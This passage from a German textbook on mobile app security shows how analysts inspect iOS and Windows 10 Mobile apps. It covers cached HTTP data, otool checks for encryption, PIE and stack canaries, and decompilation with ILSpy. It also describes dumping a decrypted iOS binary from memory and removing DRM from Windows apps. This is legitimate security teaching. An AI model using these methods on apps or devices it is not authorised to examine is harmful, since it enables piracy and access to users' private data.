Response-Cache privat und liegt innerhalb der geschützten Sandbox einer Applikation.
Nichtsdestotrotz können wir als Analyst auf diese Daten zugreifen und
auch ein Angreifer, der erfolgreich einen Jailbreak auf dem Gerät durchführen
konnte, hat Zugriff auf diese Daten.
iOS-Applikationen verwenden zum Anzeigen von Webseiten oder zum Aufrufen
von webbasierten-APIs sehr häufig die UIWebView. Diese erlaubt es – und macht
dies auch standardmäßig –, lokal auf dem Endgerät einen Cache zu erzeugen, in
dem Anfragen und deren Antworten von HTTP- und HTTPS-Verbindungen zwischengespeichert
werden. Beinhalten diese Requests und Responses vertrauliche
Daten, wie z. B. Passwörter oder Dokumente, so gelangen sie über das Caching
auf das lokale Dateisystem des iOS-Engerätes, wo wir sie finden und analysieren
können.
Die so erzeugten Caches befinden sich an folgenden Stellen innerhalb der
Applikations-Sandbox (/var/mobile/Containers/Data/Application// Library/Caches//):
■
■
■
■
Cache.db: der systemeigene HTTP-Response-Cache der Applikation
*.localstorage: Offline-Storage einer HTML5-Applikation
file__0/*.db: Offline-Datenbanken einer HTML5-Applikation
Databases.db: Offline-Datenbanken einer HTML5-Applikation
Zum Analysieren dieser Dateien ist es am einfachsten, den SQLiteBrowser oder
File Juicer10 zu verwenden. Letzterer bietet die Funktion, sich alle Dateien inner-
10 File Juicer: http://echoone.com/de/filejuicer/index.php

6.5 Fehlende systemeigene Sicherheitsfunktionen ... 171
halb des Caches in eine Ordnerstruktur extrahieren zu lassen, was das manuelle
Betrachten oder Durchsuchen deutlich einfacher macht.
Applikationen, die vertrauliche oder personenbezogene Daten verarbeiten,
sollten das Caching entweder deaktiviert haben (siehe Codebeispiel 6–21) oder
den Cache nach Beendigung der Applikation leeren (siehe Codebeispiel 6–22).
Mit diesen beiden Codefragmenten kann der Entwickler der Applikation den Zugriff
auf eventuell zwischengespeicherte sensible Daten für unberechtigte Dritte
komplett – oder zumindest nach Beenden der Applikation – verhindern.
NSURLCache *urlCache = [[NSURLCache alloc] init];
[urlCache setDiskCapacity:0];
[NSURLCache setSharedURLCache:urlCache];
Codebeispiel 6–21: Deaktivieren des NSURLCache durch Setzen einer Größenbeschränkung für
den Cache
[[NSURLCache sharedURLCache] removeAllCachedResponses];
Codebeispiel 6–22: Leeren des NSURLCache
6.5 Fehlende systemeigene Sicherheitsfunktionen in
iOS-Applikationen erkennen
Apple stellt für seine iOS-Applikationen nativ schon eine ganze Menge an Funktionen
und Schutzkonzepte bereit, die es einem Angreifer oder Sicherheitsanalysten
deutlich erschweren, Schwachstellen in den Applikationen zu erkennen und
auszunutzen. Hierzu zählen u. a. die Verschlüsselung der Binaries und Schutz der
in den Speicher geladenen Bestandteile der Applikation zur Laufzeit. Die meisten
Applikationen, die wir in freier Wildbahn finden, halten sich an diese Vorgaben
und sollten somit keine negativen Findings bezüglich der in den folgenden
Abschnitten gezeigten Kriterien aufweisen. Da es aber immer mehr IDEs zum
Entwickeln von Applikationen gibt und nicht alle diese Eigenschaften so ernst
nehmen wie Xcode, sollten diese Schutzmaßnahmen auf jeden Fall bei jeder Applikation
überprüft werden.
6.5.1 Codeverschlüsselung
Applikationen, die über den offiziellen App-Store bereitgestellt werden, haben
dort von Apple einen Raubkopierschutz in Form von Digital Rights Management
(DRM) erhalten. Apple bezeichnet diese Technik als FairPlay, was eigentlich
nichts anderes als eine Verschlüsselung des Executables ist. Das verschlüsselte
Executable wird erst zur Laufzeit auf dem iOS-Endgerät durch den Mach-O-
Loader wieder entschlüsselt.

172 6 Sicherheitsprobleme bei iOS-Applikationen
Um Informationen über die Strukturen einer Applikation zu erhalten, müssen
wir zum einen erfahren, ob ein Binary überhaupt mit dieser Technik verschlüsselt
wurde, und zum anderen, wie wir diese Verschlüsselung rückgängig machen
können. Die zweite Frage ist recht einfach und wurde von uns bereits in Abschnitt
5.3.3 beantwortet – hier haben wir gezeigt, wie man mittels dumpdecrypted
automatisiert an das entschlüsselte Binary gelangt.
Bevor man jedoch versucht, das Binary automatisiert zu entschlüsseln, sollte
man erst prüfen, ob das Binary überhaupt verschlüsselt ist. Dies können wir durch
Verwendung des in Abschnitt 6.1.1 vorgestellten otool herausfinden (siehe dazu
Codebeispiel 6–23).
$: unzip LoginNative.ipa
$: cd Payload/LoginNative.app/
$: otool -l LoginNative | grep -A 4 LC_ENCRYPTION_INFO
cmd LC_ENCRYPTION_INFO
cmdsize 20
cryptoff 16384
cryptsize 32768
cryptid 1
Codebeispiel 6–23: Ausgabe der Position des verschlüsselten Bereichs einer Applikation
mittels otool
Der Bereich LC_ENCRYPTION_INFO gibt uns wichtige Informationen darüber, ob das
Binary verschlüsselt ist und wo der entschlüsselte Bereich zur Laufzeit liegt. Wie
hier zu sehen ist, zeigt der Wert cryptid an, dass das Binary verschlüsselt ist.
Nun ist also die Frage, wo finden wir zur Laufzeit das entschlüsselte Binary,
wenn wir es nicht mittels dumpdecrypted automatisiert finden und entschlüsseln
wollen?
Diese Speicheradressen lassen sich recht einfach berechnen. Zur Laufzeit der
Applikation müssen wir uns nur mit einem Debugger – wie z. B. gdb – an die Applikation
anhängen und die Rückgabe des Befehls info sharedlibrary auswerten.
Hier erfahren wir die Adresse im Speicher mit dem Startpunkt der Applikation.
Auf diese Adresse rechnen wir nun den in Codebeispiel 6–23 ausgegebenen Offset
(cryptoff) hinzu. So erhalten wir die Speicheradresse, an der unser entschlüsseltes
Binary beginnt. Mithilfe dieser errechneten Stelle und der angegebenen Größe
des Binaries (cryptsize) können wir nun durch Anwenden des Befehls dump memory
unser entschlüsseltes Binary aus dem Speicher in eine lokale Datei schreiben.
Als vorletzten Schritt müssen wir nur noch das entschlüsselte Binary an genau
die Stelle in der Applikation schreiben, an der zuvor das verschlüsselte Binary
stand. Dies gelingt am einfachsten per dd. Der letzte Schritt ist etwas kniffeliger,

6.5 Fehlende systemeigene Sicherheitsfunktionen ... 173
wir müssen mit einem Hex-Editor die Stelle in der Applikation finden, wo der
ursprüngliche Wert von cryptid hinterlegt ist, und ihn auf 0 ändern.
Die Information, ob das Binary entschlüsselt vorliegt, bekommen wir auch,
wenn wir wie in Abschnitt 6.1.3 gezeigt, idb verwenden (siehe dazu Abbildung
6–18).
Abb. 6–18: Mittels idb anzeigen lassen, ob ein Binary verschlüsselt ist
Wie man an diesem Beispiel gut sieht, gibt es auch Applikationen, die nicht verschlüsselt
sind. Dies hat meist den Grund, dass die Applikation nicht über den
offiziellen App-Store bezogen wurde, sondern über einen App-Store, der Teil eines
Mobile Device Management (MDM) ist.
6.5.2 Address Space Layout Randomization
Address Space Layout Randomization (ASLR) wurde von Apple in iOS 4.3 eingeführt
und sorgt dafür, dass Bibliotheken, das eigentliche Executable sowie der
Stack und der Heap in nicht vorherberechenbare Speicherbereiche geladen werden.
Dies macht einen Angriff auf fehlerhafte oder ausnutzbare Funktionsbausteine
einer Applikation deutlich schwerer, da der Angreifer nicht im Vorhinein
weiß, an welcher Stelle im Speicher die entsprechenden Bestandteile der Applikation
liegen. Damit dieser Schutz ohne Nachteile für die Applikation und deren
Ausführung funktionieren kann, muss die Applikation als Position-Independent
Executable (PIE) gebaut werden. Hiermit wird dem Compiler mitgeteilt, dass er
die Applikation darauf auslegen soll, dass ihre Bestandteile überall im Speicher
liegen können und deren Position nicht fest ist.
Um als Entwickler sicherzustellen, dass diese Eigenschaften für die eigene
Applikation auch erfüllt sind, muss gewährleistet sein, dass die in Abbildung 6–19
und Abbildung 6–20 markierten Settings eingestellt sind und dass als minimale
iOS-Version 4.3 angegeben ist (dies ist in aktuellen Xcode-Projekten jedoch der
Standard).

174 6 Sicherheitsprobleme bei iOS-Applikationen
Abb. 6–19: Einstellungen in Xcode, um ein Position-Independent Executable (PIE) zu erzeugen:
Linking
Abb. 6–20: Einstellungen in Xcode, um ein Position-Independent Executable (PIE) zu erzeugen:
Code Generation
Möchten wir als Analysten wissen, ob ein Entwickler diesem Standard gefolgt ist
oder seine Applikation einem erhöhten Risiko ausgesetzt ist, können wir dies mit
dem in Abschnitt 6.1.1 vorgestellten otool prüfen (siehe dazu Codebeispiel 6–24).
$: unzip LoginNative.ipa
$: cd Payload/LoginNative.app/
$: otool -vh LoginNative
LoginNative (architecture armv7):
Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC ARM V7 0x00 EXECUTE 23 2752 NOUNDEFS DYLDLINK TWOLEVEL PIE

6.5 Fehlende systemeigene Sicherheitsfunktionen ... 175
LoginNative (architecture arm64):
Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 23 3320 NOUNDEFS DYLDLINK TWOLEVEL PIE
Codebeispiel 6–24: Prüfen der ASLR- und PIE-Voraussetzungen einer Applikation mittels otool
Wie in diesem Beispiel zu sehen ist, liefert die Ausgabe von otool für jede im Binary
enthaltene Architektur das PIE-Flag, das angibt, dass die Applikation konform
zu unseren beschriebenen Voraussetzungen gebaut wurde.
Noch etwas einfacher geht das Ganze, wenn wir, wie in Abschnitt 6.1.3 gezeigt,
idb verwenden. Hier wird uns das PIE-Flag direkt im Hauptfenster angezeigt
(siehe dazu Abbildung 6–21).
Abb. 6–21: Anzeigen des aktivierten PIE-Flags in idb
Alle von Apple selbst erstellten Applikationen besitzen dieses Flag seit iOS 5,
doch dies ist bei Applikationen von anderen Entwicklern nicht immer der Fall
und sollte deshalb auf jeden Fall überprüft werden.
6.5.3 Stack-Smashing-Schutz
Ein weiteres bekanntes Problem sind sogenannte Buffer-Overflows, bei denen
der Angreifer oder Analyst versucht, Speicherbereiche so zu überschreiben, dass
er Sprungmarken oder Zeiger im Speicher verändern kann. Hierdurch ist es ihm
dann möglich, die eigentliche Funktion einer Applikation zu verändern. Um dies
zu erschweren, hat Apple eine weitere Schutztechnik eingeführt, die in Xcode
automatisch aktiviert wird beim Erstellen von Applikationen: Stack Canaries.
Diese Canaries, oder umgangssprachlich auch Informanten genannt, sind im
Wesentlichen nichts anderes als Marker im Speicher, die anzeigen, ob ein Puffer
übergelaufen ist oder andere Manipulationen am Speicher vorgenommen wurden.
Die iOS-Applikation schreibt zur Laufzeit an bestimmte Stellen im Speicher –

176 6 Sicherheitsprobleme bei iOS-Applikationen
meist direkt vor lokale Variablen – vordefinierte Werte. Zur Laufzeit werden diese
Werte dann überprüft, bevor die eigentliche Variable eingelesen wird. Beinhaltet
sie noch den bekannten Wert, so scheint der Speicher noch intakt und die Variable
wird eingelesen. Enthält die Canary einen anderen Wert, so ist das ein Zeichen
für Manipulation und der Programmfluss wird unterbrochen, was ein Ausführen
der manipulierten Speicheradressen verhindert.
Xcode verwendet zum Platzieren dieser Marker den LLVM-Compiler und
dessen Heuristik, um den Stack vor sogenanntem Smashing zu schützen.
Wenn wir als Sicherheitsanalysten nun prüfen wollen, ob die fragwürdige Applikation
über einen aktivierten Stack-Smashing-Schutz verfügt, so können wir
wieder das in Abschnitt 6.1.1 vorgestellte otool verwenden (siehe dazu Codebeispiel
6–25).
$: unzip LoginNative.ipa
$: cd Payload/LoginNative.app/
$: otool -Iv LoginNative | grep stack
0x0000ffbc 20 ___stack_chk_fail
0x000100c4 20 ___stack_chk_fail
0x0001011c 21 ___stack_chk_guard
Codebeispiel 6–25: Prüfen des Stack-Smashing-Schutzes einer Applikation mittels otool
Das Vorhandensein der Symbole stack_chk_fail und stack_chk_guard weist darauf
hin, dass der Stack-Smashing-Schutz bei dieser Testapplikation aktiviert ist.
Wie schon bei ASLR geht es auch in diesem Fall noch etwas einfacher, wenn
wir, wie in Abschnitt 6.1.3 gezeigt, idb verwenden (siehe dazu Abbildung 6–22).
Abb. 6–22: Anzeigen des aktivierten Stack-Smashing-Schutzes in idb

6.5 Fehlende systemeigene Sicherheitsfunktionen ... 177
6.5.4 Automatic Reference Counting
Automatic Reference Counting (ARC) wurde von Apple in iOS 5.0 eingeführt
und sorgt dafür, dass das Management des verwendeten Speichers – und alles
was hierzu gehört – nun nicht mehr vom Entwickler, sondern vom Compiler
selbst übernommen wird. Als weiterer Vorteil, der zu einer optimierten und schonenden
Speichernutzung hinzukommt, sind auch sicherheitsrelevante Fehler der
Entwickler wie z. B. use-after-free und double-free nun nicht mehr möglich, da
sie vom Compiler bereits beim Erzeugen der Applikation verhindert werden.
Im Gegensatz zu den zuvor gezeigten Schutzmechanismen ASLR und Stack
Canaries kann ARC auch nur auf einzelne Objekte im Quellcode der Applikation
angewendet werden. Hierdurch ist es deutlich schwerer für uns als Sicherheitsanalysten
herauszufinden, ob ARC auch wirklich für die gesamte Applikation
und all ihre Objekte aktiviert ist.
Am einfachsten für uns geht das Ganze, wenn wir, wie in Abschnitt 6.1.3
gezeigt, idb verwenden (siehe dazu Abbildung 6–23).
Abb. 6–23: Anzeigen des aktivierten ARC-Flags in idb
Aber auch hier können wir wieder manuell mit dem in Abschnitt 6.1.1 vorgestellten
otool prüfen, ob es Hinweise auf die Verwendung von ARC gibt (siehe dazu
Codebeispiel 6–26).
$: unzip LoginNative.ipa
$: cd Payload/LoginNative.app/

178 6 Sicherheitsprobleme bei iOS-Applikationen
$: otool -Iv LoginNative | grep retain
0x0000ff84 71 _objc_retain
0x0000ff88 72 _objc_retainAutoreleasedReturnValue
0x0001008c 71 _objc_retain
0x00010090 72 _objc_retainAutoreleasedReturnValue
0x0001014c 71 _objc_retain
Codebeispiel 6–26: Prüfen auf aktiviertem ARC einer Applikation mittels otool
Wichtig ist hierbei, dass wir nach Bezeichnungen suchen, die nur bei aktiviertem
Automatic Reference Counting vorhanden sind. Dazu zählen u. a. die Folgenden:
■
■
■
■
objc_autoreleaseReturnValue
objc_release
objc_retain
objc_storeStrong
6.6 Zusammenfassung
In diesem Kapitel haben wir uns angesehen, welche Schwachstellen eine iOS-
Applikation potenziell haben kann und wie man diese entdecken und schließlich
auch ausnutzen kann. Dabei sind wir nicht nur auf die unsachgemäße Handhabung
von personenbezogenen Daten eingegangen, sondern auch auf Klassiker wie
den vergessenen Schutz von Snapshots und von HTTP-Response-Cache.
Wie man in diesem Kapitel sehr schön sehen kann, ist eine forensische Analyse
der Dateien innerhalb der Sandboxen ebenso wichtig wie die zuvor gezeigten
Angriffe auf den Code der Applikation. Oft findet man in diesen Dateien ungeschützte
Hinweise auf Inhalte der Applikation oder auf die PIN, mit der die
Applikation vor unberechtigten Dritten geschützt ist.
Im letzten Abschnitt wurde noch gezeigt, wie man überprüfen kann, ob die
systemeigenen Schutzmechanismen von iOS implementiert sind oder ob man hier
schon erste Punkte zur Beanstandung einer Applikation findet.

179
7 Reversing von
Windows-10-Mobile-Applikationen
Windows 10 Mobile ist im Gegensatz zu iOS und Android noch eine sehr junge
Plattform, die auch nahezu keine Verbreitung in der freien Wildbahn besitzt. Aus
diesem Grund steckt sie auch gerade im Bereich Reversing und Analyse noch
in den Kinderschuhen. Trotzdem soll hier versucht werden, das Wissen in den
beiden folgenden Kapiteln zusammenzufassen und dem Analysten zu zeigen, wo
es erste Ansätze zur Analyse gibt.
In diesem Kapitel beginnen wir mit dem Aufbau der Applikationen und
schauen uns an, wie man bei der eigentlichen Analyse vorgehen kann, um mehr
über die eigentlichen Funktionen einer Windows-10-Mobile-Applikation zu erfahren.
Zugleich dient dieses Kapitel als Grundlage für das folgende Kapitel 8, in
dem wir etwas tiefer in die Plattform eintauchen werden.
7.1 Aufbau der Windows-10-Mobile-Applikationen
Windows-10-Mobile-Applikationen werden in zwei verschiedenen Paketarten
verteilt: xap (eingeführt in Windows Phone 7) und appx (eingeführt in Windows
Phone 8.1). Beides sind wie auch schon bei Android und iOS ZIP-Archive, die
alles enthalten, was die Applikation zur Installation und während der eigentlichen
Ausführung benötigt. Dazu zählen vor allem der eigentliche Code als Binary
oder .NET-Assembly, Bilder, Icons und das Manifest (WMAppManifest.xml oder
AppManifest.xml), wie in Codebeispiel 7–1 zu sehen.
$: unzip Mix.xap
Archive: Mix.xap
extracting: ApplicationIcon.png
inflating: AppManifest.xaml
inflating: AppResLib.dll
inflating: AppResLib.dll.0401.mui
inflating: AppResLib.dll.0403.mui
inflating: AppResLib.dll.0404.mui
....

180 7 Reversing von Windows-10-Mobile-Applikationen
inflating: AppResLib.dll.0816.mui
inflating: AppResLib.dll.0c0a.mui
inflating: AppResLib.dll.0c0c.mui
inflating: AppTileLarge.png
inflating: AppTileMedium.png
extracting: AppTileSmall.png
....
creating: View/
creating: View/Images/
extracting: View/Images/cancel.png
extracting: View/Images/check.png
inflating: VoiceCommandDefinition.xml
inflating: WMAppManifest.xml
inflating: ZMedia.winmd
Codebeispiel 7–1: Unzip einer Windows-10-Mobile-Applikation im xap-Format
Das Entpacken einer Windows-10-Mobile-Applikation ist nicht immer mit einem
einfachen unzip möglich, da Microsoft bei diesen Applikationen Verschlüsselung
und DRM implementiert hat. Eine Möglichkeit, diesen Schutz zu entfernen, bietet
das Tool Phone7Market1 . Obwohl es für Windows Phone 7 erstellt wurde,
stehen die Chancen gut, dass es auch bei aktuellen Applikationen noch seinen gewünschten
Zweck erfüllt und den DRM-Schutz entfernt. Im Nachgang ist dann
wieder ein einfaches Entpacken per unzip möglich.
Wie wir es schon von Android kennen, besitzt auch das Manifest für die
Windows-10-Mobile-Applikationen wichtige Metainformationen zur Applikation
und dessen Entwickler (siehe Codebeispiel 7–2 für einen Auszug aus einem
solchen Manifest). Für uns sind mit die wichtigsten Informationen aus diesem
Manifest die folgenden:
Author & Publisher: Diese beiden Tags geben uns Informationen dazu, wer diese
Applikation entwickelt hat.
Version: Versionsnummer der Applikation
ProductID/ApplicationID: Ist die eindeutige ID dieser Applikation. Diese ID benötigen
wir später, um die Applikation und ihre Daten im Dateisystem zu
finden.
Capabilities: Das sind die Features, auf die die Applikation zugreifen möchte.
Viele davon müssen bei der Installation vom Nutzer bestätigt werden (ähnlich
wie die Permissions bei Android).
FileTypeAssociation: Gibt die Endungen von Dateien an, die mit dieser Applikation
verarbeitet werden können (z. B. .xlsx).
Protocol: Listet die URL-Schemata auf, für die diese Applikation registriert ist.
1 Phone7Market: http://ried.cl/mobile/wp7desktopmarketplace.html

7.1 Aufbau der Windows-10-Mobile-Applikationen 181
In Kapitel 8 werden wir auf einige dieser Metainformationen eingehen und zeigen,
warum sie für uns einen hohen Stellenwert besitzen.
ms-resource:App_Name/Text
Microsoft Corporation
Assets/StoreLogo.png
6.3.1
6.3.1
....
....

182 7 Reversing von Windows-10-Mobile-Applikationen
....
....
Codebeispiel 7–2: Auszug aus einem AppManifest.xml
7.2 Vorgehensweisen beim Reversing von
Windows-10-Mobile-Applikationen
Generell gibt es zwei Möglichkeiten, wie beim Reversing von Windows-10-
Mobile-Applikationen vorgegangen werden kann. Beide Versionen unterscheiden
sich jedoch nur im ersten Punkt: dem Beschaffen der Applikation selbst.
1. Beschaffen der Applikation selbst
■
■
Variante A: Die Applikation liegt als xap- oder appx-Datei vor.
Variante B: Wir haben Root-Zugriff auf das Endgerät.
2. Eigentliches Reversing der Applikation mittels der Tools, die in Abschnitt 7.3
gezeigt werden.
Bei Variante A ist das Vorgehen im Wesentlichen wie schon in Abschnitt 7.1
beschrieben. Wir entfernen einen eventuell vorhandenen DRM-Schutz und entpacken
die Applikation im Anschluss per unzip, um so an all ihre Bestandteile zu
kommen.
In den meisten Fällen werden wir jedoch nicht von vornherein diese Dateien
zur Verfügung haben. Daher beschreibt Variante B das Vorgehen, das
wir in der realen Welt am häufigsten durchführen werden. Bei diesem Vorgehen
ist es wichtig, dass wir – wie in Abschnitt 1.6.3 gezeigt – volle Root-
Rechte auf unserem Testgerät besitzen, da wir nur so in die Verzeichnisse kommen,
die wir benötigen. Haben wir diese Rechte, so können wir alle Installationsdateien
der auf dem Endgerät vorhandenen Applikationen im Verzeichnis
C:\Data\Programs\\Install\ finden. Wie man an diesem Pfad sieht, sind die
Installationsverzeichnisse der Applikationen, wie wir das auch schon bei iOS gesehen
haben, in Verzeichnisse mit ihrer GUID unterteilt.

7.3 Werkzeuge zum Analysieren der Applikationen 183
7.3 Werkzeuge zum Analysieren der Applikationen
Bei der Analyse von Applikationen – dem sogenannten Reversing – gibt es bei
Windows-10-Mobile-Applikationen im Wesentlichen drei Klassen von Binaries,
auf die man stoßen kann:
1. .NET-Bibliotheken (oft in Form von DLL-Dateien)
2. HTML- und JavaScript-Dateien
3. Native Windows-Binaries
Die dritte Klasse (native Windows-Binaries) ist die zugleich größte Herausforderung
für uns als Analysten, da man hierbei nur auf Tools wie IDA Pro zurückgreifen
kann, die sehr komplex sind und für den Laien oder ungeübten Analysten
sehr unübersichtlich und kompliziert wirken. Handelt es sich hingegen um
HTML- und JavaScript-Dateien, so haben wir als Analysten ein deutlich einfacheres
Spiel, da hier unsere gängigen Editoren (wie z. B. Sublime Text2 oder Atom
Editor3 ) den Inhalt aufbereitet und strukturiert darstellen können.
Die Klasse der .NET-Bibliotheken bietet eine Art Mittelweg aus den beiden
anderen Klassen an Binaries. Wir haben hier Werkzeuge wie NET reflector@.NET
reflector und ILSpy, die uns helfen, den Code der Binaries wieder in
eine lesbare Form zu bringen und uns bei der Analyse zu unterstützen. Diese beiden
Tools wollen wir uns in den folgenden Abschnitten kurz ansehen.
7.3.1 .NET reflector
Der .NET reflector4 von Red-Gate ist das erste Werkzeug, das von Analysten verwendet
werden kann, um die zuvor erwähnten .NET-Bibliotheken zu dekompilieren,
um so wieder an eine Darstellung des Quellcodes zu kommen, die möglichst
nahe am Original liegt. Dabei kann als Zielsprache der Übersetzung zwischen
bekannten Sprachen wie C#, Visual Basic und Chrome gewählt werden.
.NET reflector ist in der Lage, komplette Applikationen zu dekompilieren
(solange sie im xap-Dateiformat vorliegen) oder einzelne DLL-Dateien.
Abbildung 7–1 zeigt eine Bibliothek einer Windows-10-Mobile-Applikation,
die verwendet wird, um das JSON-Format zu lesen und andere Formate in dieses
umzuwandeln. Auf der linken Seite sieht man die geladenen und dekompilierten
Bibliotheken sowie all ihre Klassen und Methoden (in diesem Beispiel
haben wir die Bibliothek Newtonsoft.Json.dll, darin den Namespace Newtonsoft
.Json.Converters und die dazugehörige Klasse RegexConverter gewählt). Auf der
2 Sublime Text: http://www.sublimetext.com/
3 Atom Editor: https://atom.io/
4 .NET reflector:
http://www.red-gate.com/products/dotnet-development/reflector/

184 7 Reversing von Windows-10-Mobile-Applikationen
rechten Seite findet sich im oberen Bereich die dekompilierte Methode (in unserem
Fall ReadRegexString()). Im unteren Bereich stehen auf der rechten Seite noch
weitere interessante Informationen, nämlich die Verlinkung dieser Methode, also
die Stellen, wo diese Methode verwendet bzw. aufgerufen wird, und alle Klassen,
die benötigt werden, damit eine Ausführung überhaupt möglich ist. In diesem
Fall sehen wir, dass diese Methode innerhalb der Methode ReadJson() in derselben
Klasse aufgerufen wird. Eine solche Baumstruktur kann uns beim Reversing
und dem eigentlichen »Verstehen der Applikation« sehr helfen, da wir erkennen
können, wo wichtige Methoden aufgerufen werden und wie Daten durch die Applikation
fließen.
Abb. 7–1: Beispiel einer dekompilierten .NET-Bibliothek in .NET reflector in C#
Abbildung 7–2 zeigt dieselbe Methode, nur diesmal haben wir als Zielsprache
der Übersetzung Visual Basic angegeben und nicht wie in Abbildung 7–1 C#. Die
Möglichkeit, hier verschiedene Zielsprachen anzugeben, ist gerade für Analysten,
die ein tiefes Wissen im Lesen und Verstehen von einzelnen Programmiersprachen
besitzen, eine sehr nützliche Funktion von .NET reflector.

7.3 Werkzeuge zum Analysieren der Applikationen 185
Abb. 7–2: Beispiel einer dekompilierten .NET-Bibliothek in .NET reflector in Visual Basic
7.3.2 ILSpy
ILSpy5 ist ein Tool, das in vielen Bereichen vergleichbar zu dem zuvor erwähnten
.NET reflector ist. Der wesentliche Unterschied liegt darin, dass ILSpy als Open-
Source-Lösung verfügbar ist und deshalb bei vielen Analysten sehr beliebt ist.
ILSpy entstand Ende 2011, als bekannt wurde, dass .NET reflector einen neuen
Urheber hat und nicht mehr weiter kostenlos zur Verfügung gestellt wird.
Dies erklärt auch, weshalb der Aufbau des Tools sowie viele der Funktionen
sehr ähnlich sind. Auch die Möglichkeit, die Bibliotheken in unterschiedliche
Zielsprachen zu übersetzen, ist in ILSpy vorhanden, der einzige Unterschied liegt
hierbei in der Anzahl der unterstützten Zielsprachen.
Abbildung 7–3 zeigt die zuvor schon dargestellte Methode ReadRegexString()
in C# innerhalb des Tools ILSpy. Wie man hier sehr gut erkennen kann, ist der
Aufbau des Fensters fast identisch zu dem zuvor erwähnten .NET reflector.
Die Erfahrung hat gezeigt, dass die Open-Source-Lösung ILSpy in den meisten
Fällen ausreicht, um Windows-10-Mobile-Applikationen zu analysieren, und
5 ILSpy: http://ilspy.net/ sowie https://github.com/icsharpcode/ILSpy

186 7 Reversing von Windows-10-Mobile-Applikationen
Abb. 7–3: Beispiel einer dekompilierten .NET-Bibliothek in ILSpy in C#
man nur selten an die Grenzen gerät, bei denen .NET reflector einen wirklichen
Mehrwert bietet. Da diese Plattform aber noch relativ neu ist und daher auch
einer stetigen Weiterentwicklung unterworfen ist, kann sich diese Einschätzung
aber auch schnell ändern, daher ist es gut, wenn man mehrere Werkzeuge kennt,
die einem beim Reversing unterstützen können.
7.4 Zusammenfassung
In diesem Kapitel haben wir den groben Aufbau von Windows-10-Mobile-
Applikationen kennengelernt und dabei gesehen, welches die wichtigen
Komponenten innerhalb des Applikationsmanifests (WMAppManifest.xml oder
AppManifest.xml) sind. Auf diese Komponenten werden wir im folgenden Kapitel
noch genauer eingehen und uns anschauen, warum sie so wichtig für uns beim
Analysieren einer Windows-10-Mobile-Applikation sind.
Im weiteren Verlauf des Kapitels wurde gezeigt, wie man an die Bestandteile
einer Applikation kommt und welche Tools es gibt, um diese zu analysieren. Die
wichtigsten Tools für den Zweck des Reversings sind neben dem schon erwähnten
IDA Pro (siehe Abschnitt 5.4.2) vor allem .NET reflector und ILSpy.

187
8 Sicherheitsprobleme bei
Windows-10-Mobile-Applikationen
Nachdem wir in Kapitel 7 erste Tools kennengelernt haben, mit denen man Windows-10-Mobile-Applikationen
analysieren kann, möchten wir hier nun tiefer in
die Betrachtung der eigentlichen Plattform und ihrer Applikationen eintauchen.
Ein Schwerpunkt dieses Kapitels liegt in der forensischen Auswertung der
Spuren oder Daten, die eine Applikation im Dateisystem zurücklässt. Des Weiteren
werden wir uns ansehen, welche Schutzmechanismen es für Windows-10-
Mobile-Applikationen gibt und wie man prüfen kann, ob diese auch vom Entwickler
implementiert wurden. Zum Abschluss wird gezeigt, wie man weitere
Vektoren für manuelle Angriffe bei diesen Applikationen finden kann und wo
das manuelle Pentesten sinnvoll ist.
8.1 Analyse der Zugriffe auf sensible Nutzerdaten
Gerade im Bereich der Analyse von Applikationen zum Einsatz auf privaten oder
geschäftlichen Endgeräten ist es wichtig, dass man die Zugriffe auf sensible Nutzerdaten
(wie z. B. Bilder, Videos und sensible Dokumente) untersucht.
An dieser Stelle wird es deutlich aufwendiger, als wir es bei Android in Abschnitt
4.2 gesehen haben. Dies liegt im Wesentlichen daran, dass es momentan
keine Werkzeuge gibt, die uns bei der Analyse unterstützen – wie z. B. eine dynamische
Analyse in einer überwachten und protokollierten Umgebung –, und wir
daher alle Schritte manuell durchführen müssen.
Die in Tabelle 8–1 abgebildeten Berechtigungen – oder Capabilities, wie sie
bei Windows 10 Mobile genannt werden (siehe dazu auch Abschnitt 7.1) – zählen
zu den Berechtigungen, die man als Entwickler nur mit Sorgfalt verwenden
sollte und die für uns als Analysten eine wichtige Rolle spielen. Dies liegt hauptsächlich
daran, dass die damit verbundenen personenbezogenen Daten im Bereich
Datenschutz (Bundesdatenschutzgesetz [5]) eine essenzielle Rolle spielen.
An dieser Stelle gibt es eine gravierende Änderung zwischen Windows
Phone 8.x und Windows 10 Mobile: Um als Entwickler von Applikationen auf
das Adressbuch oder den Kalender des Nutzers zugreifen zu dürfen, wurde in
den älteren Versionen immer die Berechtigung (Capability) ID_CAP_CONTACTS bzw.

188 8 Sicherheitsprobleme bei Windows-10-Mobile-Applikationen
Berechtigung
documentsLibrary
picturesLibrary
videosLibrary
musicLibrary
enterpriseAuthentication
sharedUserCertificates
location
microphone
webcam
Zugriffsrecht
Zugriff auf die gespeicherten Dokumente eines definierten
Dateityps. Die Dateitypen müssen ebenfalls innerhalb des
Manifests deklariert sein.
Zugriff auf die gespeicherten Bilder auf dem Endgerät.
Zugriff auf die gespeicherten Videos auf dem Endgerät.
Zugriff auf die gespeicherte Musik (z. B. MP3-Dateien) und
die Playlists auf dem Endgerät sowie auf verbundenen
Heimnetzwerk-Computern.
Zugriff auf die hinterlegten Windows-Zugangsdaten für das
firmeneigene Intranet.
Zugriff auf Soft-/Hardware-Zertifikate sowie auf eine
eventuell vorhandene Smartcard und deren Zertifikate.
Zugriff auf die aktuelle Position des Nutzers (GPS oder
Triangulation).
Zugriff auf das verbaute Mikrofon des Endgerätes.
Zugriff auf die verbaute Kamera des Endgerätes.
Tab. 8–1: Liste der kritischen (Device-)Capabilities in Windows 10 Mobile
ID_CAP_APPOINTMENTS benötigt. Seit Windows 10 Mobile benötigt man keine Capabilities
mehr, um auf diese Daten zuzugreifen. Dies macht es für den Analysten
deutlich schwerer, herauszufinden, ob eine Applikation unerwünschterweise auf
diese sensiblen Daten zugreift oder nicht, da im Manifest der Applikation keine
Hinweise mehr auf diese Zugriffe zu finden sind.
Für den Nutzer gibt es aber auch unter Windows 10 Mobile die Möglichkeit,
sich die Applikationen anzeigen zu lassen, die Zugriff auf persönliche Daten wie
das Adressbuch und den Kalender verlangen. Dies geschieht über Einstellungen
Datenschutz wie in Abbildung 8–1 zu sehen ist.
Findet man innerhalb des Manifests (WMAppManifest.xml oder AppManifest.xml)
die zuvor beschriebenen Capabilities – und sind diese nicht durch die Funktion
